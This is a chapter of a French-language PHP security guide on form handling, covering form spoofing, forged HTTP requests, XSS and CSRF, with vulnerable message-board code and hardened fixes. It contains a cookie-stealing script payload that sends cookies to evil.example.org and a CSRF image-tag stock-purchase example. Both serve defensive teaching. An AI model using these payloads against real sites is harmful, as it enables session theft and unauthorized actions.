Guide de Sécurité PHP: Traitement des formulaires
< PrécédentSuivant >Bases de données et SQLVue d'ensemble
Falsification des soumission de formulaire
Pour appréhender la nécessite de filtrer les données, considérez le formulaire suivant, hypothétiquement situé à http://example.org/form.html:
<form action="/process.php" method="POST">
<select name="color">
<option value="red">red</option>
<option value="green">green</option>
<option value="blue">blue</option>
</select>
<input type="submit" />
</form>
Imaginez un attaquant potentiel qui enregistre ce formulaire HTML et le modifie de la manière suivante:
<form action="http://example.org/process.php" method="POST"> <input type="text" name="color" /> <input type="submit" /> </form>
Ce nouveau formulaire peut désormais se situer partout (un serveur web n'est même pas nécessaire, puisqu'il suffit simplement d'être lisible par un navigateur web). Et le formulaire peut être manipulé à volonté. L'URL absolue employée dans l'attribut action provoque l'envoi de la requête POST au même emplacement.
Ceci rend très facile l'élimination toute restriction côté client, qu'il s'agisse de restrictions du formulaire HTML ou de scripts côté client dont le but est de procéder à un filtrage rudimentaire des données. Dans cet exemple particulier, $_POST['color'] n'a pas forcément les valeurs red, green, ou blue. A l'aide d'une procédure très simple, n'importe quel utilisateur peut créer un formulaire pratique pour soumettre n'importe quelle donnée à l'URL qui traite le formulaire.
Requêtes HTTP falsifiées
Une approche plus puissante, bien que moins pratique, est de falsifier une requête HTTP. Dans le cas du formulaire d'exemple que nous venons de présenter, où l'utilisateur choisit une couleur, la requête HTTP qui résulte ressemble à ceci (en supposant le choix de la couleur rouge, red):
POST /process.php HTTP/1.1 Host: example.org Content-Type: application/x-www-form-urlencoded Content-Length: 9 color=red
L'utilitaire telnet peut être employé pour procéder à certains tests ad hoc. L'exemple suivant crée une simple requête GET pour http://www.php.net/:
$ telnet www.php.net 80 Trying 64.246.30.37... Connected to rs1.php.net. Escape character is '^]'. GET / HTTP/1.1 Host: www.php.net HTTP/1.1 200 OK Date: Wed, 21 May 2004 12:34:56 GMT Server: Apache/1.3.26 (Unix) mod_gzip/1.3.26.1a PHP/4.3.3-dev X-Powered-By: PHP/4.3.3-dev Last-Modified: Wed, 21 May 2004 12:34:56 GMT Content-language: en Set-Cookie: COUNTRY=USA%2C12.34.56.78; expires=Wed,28-May-04 12:34:56 GMT; path=/; domain=.php.net Connection: close Transfer-Encoding: chunked Content-Type: text/html;charset=ISO-8859-1 2083 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01Transitional//EN"> ...
Bien sûr, vous pouvez créer votre propre client, plutôt que d'entrer des requêtes manuellement avec telnet. L'exemple suivant montre comment exécuter la même requête en utilisant PHP:
<?php
$http_response = '';
$fp = fsockopen('www.php.net', 80);
fputs($fp, "GET / HTTP/1.1\r\n");
fputs($fp, "Host: www.php.net\r\n\r\n");
while (!feof($fp))
{
$http_response .= fgets($fp, 128);
}
fclose($fp);
echo nl2br(htmlentities($http_response));
?>
Envoyer vos propres requêtes HTTP vous fournit une flexibilité totale, et ceci montre pourquoi le filtrage des données côté server est si indispensable. Sans lui, vous n'avez aucune garantie au sujet d'aucune donnée provenant d'une source externe.
Cross-Site Scripting
Les médias ont contribué à faire des cross-site scripting (XSS) un terme familier, et cette attention est méritée. C'est l'une des vulnérabilités de sécurité les plus communes dans les applications web, et de nombreuses applications populaires opensource en PHP souffrent constamment de vulnérabilités XSS.
Les attaques XSS ont les caractéristiques suivantes:
-
Exploiter la confiance qu'a un utilisateur envers un site particulier.
Les utilisateurs n'ont pas forcément un haut degré de confiance envers tous les sites web, mais le navigateur bien. Par exemple, quand le navigateur envoie des cookies dans une requête, il fait confiance au site web. Les utilisateurs peuvent aussi avoir des habitudes de surf différentes, ou même différents niveaux de sécurité définis dans leur navigateur, selon le site qu'ils visitent.
-
Elles impliquent généralement les sites qui affichent des données externes.
Les applications à risque plus élevé incluent les forums, clients web mail, et tout ce qui affiche du contenu à publication multiple (syndicated), comme les flux RSS.
-
Elles injectent du contenu choisi par l'attaquant.
Lorsque les données externes ne sont pas correctement filtrées, vous pouvez afficher du contenu choisi par l'attaquant. C'est aussi dangereux que de laisser l'attaquant éditer vos codes source sur le serveur.
Comment ceci peut-il se produire? Si vous affichez du contenu qui provient d'une source extérieure sans le filtrer de manière adéquate, vous êtes vulnérables aux XSS. Les données étrangères ne sont pas limitées aux données provenant du client. Elles comportent également les mails affichés par un client web mail, une bannière de publicité, un blog à publication multiple (syndicated), etc. Toute information qui n'est pas déjà présente dans le code provient d'une source externe, ce qui signifie que la plupart des données sont des données externes.
Considérez l'exemple suivant d'un tableau d'affichage (message board) simpliste:
<form>
<input type="text" name="message"><br />
<input type="submit">
</form>
<?php
if (isset($_GET['message']))
{
$fp = fopen('./messages.txt', 'a');
fwrite($fp, "{$_GET['message']}<br />");
fclose($fp);
}
readfile('./messages.txt');
?>
Ce tableau d'affichage ajoute <br /> à la fin de tout ce que l'utilisateur entre, l'ajoute à la fin d'un fichier, puis affiche le contenu actuel du fichier.
Imaginez qu'un utilisateur entre le message suivant:
<script> document.location = 'http://evil.example.org/steal_cookies.php?cookies=' + document.cookie </script>
Le prochain utilisateur qui visite ce tableau d'affichage en ayant JavaScript activé est redirigé vers evil.example.org, et tous les cookies associés au site actuel sont inclus dans la query string de l'URL.
Bien sûr, un véritable attaquant ne serait pas limité par mon manque de créativité ou d'expertise en Javascript. N'hésitez pas à me suggérer des exemples meilleurs (plus malveillants?)
Que pouvez-vous faire? Il est en fait très facile de se défendre contre les XSS. Là où les choses se compliquent, c'est quand vous souhaitez autoriser du HTML ou des scripts côté client provenant de sources externes (comme d'autres utilisateurs) et que vous finissez par les afficher. Mais même ces situations ne sont pas terriblement difficiles à gérer. Les meilleures methodes suivantes peuvent atténuer le risque de XSS:
-
Filtrez toutes les données externes.
Comme mentionné plus haut, le filtrage des données est la méthode la plus importante que vous puissiez adopter. En validant toutes les données externes entrant et sortant de votre application, vous réduirez la majorité des soucis liés aux XSS
-
Utilisez les fonctions existantes.
Laissez PHP vous aider pour votre logique de filtrage. Des fonctions comme htmlentities(), strip_tags(), et utf8_decode() peuvent s'avérer utiles. Essayez d'éviter de reproduire quelque chose qu'une fonction PHP fait déjà. Non seulement la fonction PHP est bien plus rapide, mais en plus elle est mieux testée et moins susceptible de contenir des erreurs aboutissant à des vulnérabilités.
-
Utilisez une approche par liste blanche (whitelist).
Supposez qu'une donnée est invalide, jusqu'à ce qu'on puisse prouver qu'elle est valide. Ceci implique de vérifier la longueur, et de ne permettre que des caractères valides. Par exemple, si l'utilisateur fournit un nom de famille, vous pourriez commencer par n'autoriser que les caractères alphabétiques et les espaces. Péchez par prudence. Même si les noms de famille comme O'Reilly et Berners-Lee seront considérés comme invalides, on peut facilement corriger cela en ajoutant deux caractères supplémentaires à la liste blanche (whitelist). Il vaut mieux refuser des données valides que d'accepter des données malveillantes.
-
Utilisez une convention de nommage stricte.
Comme spécifié plus haut, une convention de nommage aide les développeurs à distinguer facilement les données filtrées des données non filtrées. Il est important de rendre les choses les plus simples et les plus claires possible pour les développeurs. Un manque de clarté produit de la confusion, et ceci engendre des vulnérabilités
Une version bien plus sûre du tableau d'affichage (message board) simple mentionné prédécemment est la suivante:
<form>
<input type="text" name="message"><br />
<input type="submit">
</form>
<?php
if (isset($_GET['message']))
{
$message = htmlentities($_GET['message']);
$fp = fopen('./messages.txt', 'a');
fwrite($fp, "$message<br />");
fclose($fp);
}
readfile('./messages.txt');
?>
Grâce au simple ajout de htmlentities(), le tableau d'affichage est maintenant bien plus sûr. Il ne devrait pas être considéré comme complètement sécurisé, mais c'est probablement l'étape la plus facile que vous puissiez entreprendre pour fournir un niveau de protection adéquat. Bien sûr, il est vivement conseillé que vous suiviez toutes les meilleures méthodes dont on a discuté.
Cross-Site Request Forgeries
Malgré les similitudes de nom, les cross-site request forgeries (CSRF) sont pratiquement à l'opposé du style d'attaque. Tandis que les attaques XSS exploitent la confiance qu'un utilisateur possède envers un site, les attaques CSRF exploitent la confiance qu'un site web possède envers un utilisateur. Les attaques CSRF sont plus dangereuses, moins populaires (ce qui signifie moins de ressources pour les développeurs), et il est plus difficile de se défendre contre elles que contre les attaques XSS.
Les attaques CSRF ont les caractéristiques suivantes:
-
Elles exploitent la confiance qu'un site possède envers un utilisateur particulier.
De nombreux utilisateurs peuvent ne pas être de confiance, mais il est courant dans les applications web d'offrir certains privilèges aux utilisateurs une fois logués dans l'application. Les utilisateurs disposant de ces privilèges plus élevés sont des victimes potentielles (des complices sans le savoir, en réalité).
-
Elles impliquent généralement des sites web qui se basent sur l'identité des utilisateurs. L'identité d'un utilisateur pèse typiquement très lourd. Avec un mécanisme de gestion de session sécurisé, ce qui représente un challenge en soi, les attaques CSRF peuvent cependant toujours réussir. En réalité, c'est dans ce type d'environnement que les attaques CSRF sont les plus puissantes.
-
Elles exécutent des requêtes HTTP choisies par l'attaquant.
Les attaques CSRF incluent toutes les attaques qui impliquent un attaquant qui falsifie une requête HTTP d'un autre utilisateur (essentiellement, ruser pour qu'un utilisateur envoie une requête HTTP pour le compte de l'attaquant). Il existe plusieurs techniques différentes qui peut être utilisées pour accomplir cela, et je vais montrer quelques exemples d'une technique spécifique.
Puisque les attaques CSRF impliquent la falsification de requêtes HTTP, il est important de commencer par acquérir un niveau élémentaire de familiarité avec HTTP
Un navigateur web est un client HTTP, et un serveur web est un serveur HTTP. Les clients initient une transaction en envoyant une requête, et le serveur termine la transaction en envoyant une réponse. Une requête HTTP typique ressemble à ceci:
GET / HTTP/1.1 Host: example.org User-Agent: Mozilla/5.0 Gecko Accept: text/xml, image/png, image/jpeg, image/gif, */*
La première ligne est appelée ligne de requête. Elle contient la méthode de requête, l'URL que demandée (une URL relative est utilisée), et la version de HTTP. Les autres lignes sont des en-têtes HTTP (headers), et chaque nom d'en-tête HTTP est suivie de deux points (:), un espace, et de sa valeur.
Accéder à ces informations via PHP vous est peut-être familier. Par exemple, on peut utiliser le code suivant pour reconstruire cette requête HTTP particulière dans une chaîne de caractères (string):
<?php
$request = '';
$request .= "{$_SERVER['REQUEST_METHOD']} ";
$request .= "{$_SERVER['REQUEST_URI']} ";
$request .= "{$_SERVER['SERVER_PROTOCOL']}\r\n";
$request .= "Host: {$_SERVER['HTTP_HOST']}\r\n";
$request .= "User-Agent: {$_SERVER['HTTP_USER_AGENT']}\r\n";
$request .= "Accept: {$_SERVER['HTTP_ACCEPT']}\r\n\r\n";
?>
Voici un exemple de réponse à la requête précédente:
HTTP/1.1 200 OK Content-Type: text/html Content-Length: 57 <html> <img src="http://example.org/image.png" /> </html>
Le contenu de la réponse est ce que vous voyez quand vous visualiser le code source dans un navigateur. La balise (tag) img dans cette réponse particulière prévient le navigateur du fait qu'une autre ressource (une image) est nécessaire pour effectuer un rendu correct de la page. Le navigateur demande cette ressource comme il le ferait pour toute autre ressource. Ceci est un example d'une telle requête:
GET /image.png HTTP/1.1 Host: example.org User-Agent: Mozilla/5.0 Gecko Accept: text/xml, image/png, image/jpeg, image/gif, */*
Ceci mérite d'attirer votre attention. Le navigateur demande l'URL spécifiée dans l'attribut src de la balise img, exactement comme si l'utilisateur avait demandé manuellement de naviguer là. Le navigateur n'a aucun moyen d'indiquer qu'il s'attend spécifiquement à recevoir une image.
Combinez cela avec ce que vous avez appris au sujet des formulaires, puis considérez une URL similaire à celle ci:
http://stocks.example.org/buy.php?symbol=SCOX&quantity=1000
La soumission d'un formulaire qui utilise la méthode GET est potentiellement indistinguable d'une requête pour une image - les deux peuvent être des requêtes pour le même URL. Si register_globals est activé, la méthode utilisée par le formulaire n'est même plus importante (à moins que le développeur n'utilise toujours $_POST etc). Les dangers commencent déjà à devenir clairs, j'espère.
Une autre caractéristique qui rendent si puissantes les attaques CSRF est que tout cookie appartenant à un URL est inclus dans la requête pour cet URL. Un utilisateur qui a établi une relation avec stocks.example.org (comme être logué) peut potentiellement acheter 1000 actions de SCOX en visitant une page avec une balise img qui spécifie l'URL de l'exemple précédent.
Considérez le formulaire suivant, situé hypothétiquement à http://stocks.example.org/form.html:
<p>Buy Stocks Instantly!</p> <form action="/buy.php"> <p>Symbol: <input type="text" name="symbol" /></p> <p>Quantity:<input type="text" name="quantity" /></p> <input type="submit" /> </form>
Si l'utilisateur entre SCOX comme symbole, 1000 comme quantité, et soumets le formulaire, la requête envoyée par le navigateur est similaire à la suivante:
GET /buy.php?symbol=SCOX&quantity=1000 HTTP/1.1 Host: stocks.example.org User-Agent: Mozilla/5.0 Gecko Accept: text/xml, image/png, image/jpeg, image/gif, */* Cookie: PHPSESSID=1234
J'inclus un en-tête (header) Cookie dans cet exemple, pour illustrer le fait que l'application utilise un cookie pour l'identifiant de session. Si une balise img référence le même URL, le même cookie sera envoyé dans la requête pour cet URL, et le serveur qui traite la requête ne sera pas capable de distinguer ceci d'une véritable commande.
Il existe plusieurs choses que vous pouvez faire pour protéger vos applications contre les CSRF:
-
Utilisez POST plutôt que GET dans les formulaires. Spécifiez POST dans l'attribut 'method' de vos formulaires. Bien sûr, ceci n'est pas approprié pour tous vos formulaires, mais bien pour ceux qui exécutent une action, telle que l'achat d'actions. En réalité, la spécification HTTP requiert que GET soit considéré come sûr.
-
Utilisez $_POST plutôt que de vous fier à register_globals. Utiliser la méthode POST pour la soumission de formulaires ne sert à rien si vous comptez sur register_globals et que vous référencez des variables de formulaires comme $symbol et $quantity. C'est aussi inutile si vous utilisez $_REQUEST.
-
Ne vous concentrez pas sur la commodité.
Bien qu'il semble souhaitable de rendre aussi pratique que possible l'expérience des utilisateurs, trop de commodité peut avoir de sérieuses conséquences. Bien que des approches "one-click" puissent être rendues très sécurisées, une implémentation simple sera vraisemblablement vulnérable aux CSRF.
-
Forcez l'utilisation de vos propres formulaires.
Le plus gros problèmes avec CSRF est d'avoir des requêtes qui ressemblent à des soumissions de formulaires, mais n'en sont pas. Si un utilisateur n'a pas demandé la page contenant le formulaire, devriez-vous supposer qu'une requête qui ressemble à la soumission d'un formulaire soit légitime et voulue?
Maintenant, nous pouvons écrire un tableau d'affichage (message board) encore plus sécurisé:
<?php
$token = md5(time());
$fp = fopen('./tokens.txt', 'a');
fwrite($fp, "$token\n");
fclose($fp);
?>
<form method="POST">
<input type="hidden" name="token" value="<?php echo $token; ?>" />
<input type="text" name="message"><br />
<input type="submit">
</form>
<?php
$tokens = file('./tokens.txt');
if (in_array($_POST['token'], $tokens))
{
if (isset($_POST['message']))
{
$message = htmlentities($_POST['message']);
$fp = fopen('./messages.txt', 'a');
fwrite($fp, "$message<br />");
fclose($fp);
}
}
readfile('./messages.txt');
?>
Ce tableau d'affichage (message board) comporte toujours quelques vulnérabilités de sécurité. Pouvez-vous les identifier?
Le temps est extrêmement prévisible. Utiliser un digest MD5 d'un timestamp est une mauvaise excuse pour ne pas utiliser un nombre aléatoire. De meilleures fonctions incluent uniqid() et rand().
Plus important, il est trivial pour un attaquant d'obtenir un token valide. En visitant simplement cette page, un token valide est généré et inclus dans le source. Avec un token valide, l'attaque est aussi simple qu'avant l'ajout du token obligatoire.
Voici un tableau d'affichage amélioré:
<?php
session_start();
if (isset($_POST['message']))
{
if (isset($_SESSION['token']) && $_POST['token'] == $_SESSION['token'])
{
$message = htmlentities($_POST['message']);
$fp = fopen('./messages.txt', 'a');
fwrite($fp, "$message<br />");
fclose($fp);
}
}
$token = md5(uniqid(rand(), true));
$_SESSION['token'] = $token;
?>
<form method="POST">
<input type="hidden" name="token" value="<?php echo $token; ?>" />
<input type="text" name="message"><br />
<input type="submit">
</form>
<?php
readfile('./messages.txt');
?>
< PrécédentSuivant >Bases de données et SQLVue d'ensemble